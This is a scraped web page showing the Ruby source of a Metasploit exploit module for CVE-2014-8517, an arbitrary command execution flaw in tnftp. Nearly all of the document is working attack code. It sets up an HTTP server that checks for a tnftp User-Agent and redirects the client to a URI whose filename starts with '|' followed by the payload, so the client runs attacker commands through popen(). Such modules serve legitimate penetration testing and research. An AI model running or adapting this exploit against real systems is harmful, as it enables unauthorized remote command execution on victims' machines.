Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/http/tnftp_savefile.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer9include Msf::Auxiliary::Report1011def initialize(info = {})12super(update_info(info,13'Name' => 'tnftp "savefile" Arbitrary Command Execution',14'Description' => %q{15This module exploits an arbitrary command execution vulnerability in16tnftp's handling of the resolved output filename - called "savefile" in17the source - from a requested resource.1819If tnftp is executed without the -o command-line option, it will resolve20the output filename from the last component of the requested resource.2122If the output filename begins with a "|" character, tnftp will pass the23fetched resource's output to the command directly following the "|"24character through the use of the popen() function.25},26'Author' => [27'Jared McNeill', # Vulnerability discovery28'wvu' # Metasploit module29],30'References' => [31['CVE', '2014-8517'],32['URL', 'https://seclists.org/oss-sec/2014/q4/459']33],34'DisclosureDate' => '2014-10-28',35'License' => MSF_LICENSE,36'Platform' => 'unix',37'Arch' => ARCH_CMD,38'Privileged' => false,39'Payload' => {'BadChars' => '/'},40'Targets' => [['ftp(1)', {}]],41'DefaultTarget' => 042))43end4445def on_request_uri(cli, request)46unless request['User-Agent'] =~ /(tn|NetBSD-)ftp/47print_status("#{request['User-Agent']} connected")48send_not_found(cli)49return50end5152if request.uri.ends_with?(sploit)53send_response(cli, '')54print_good("Executing `#{payload.encoded}'!")55report_vuln(56:host => cli.peerhost,57:name => self.name,58:refs => self.references,59:info => request['User-Agent']60)61else62print_status("#{request['User-Agent']} connected")63print_status('Redirecting to exploit...')64send_redirect(cli, sploit_uri)65end66end6768def sploit_uri69(get_uri.ends_with?('/') ? get_uri : "#{get_uri}/") +70Rex::Text.uri_encode(sploit, 'hex-all')71end7273def sploit74"|#{payload.encoded}"75end76end777879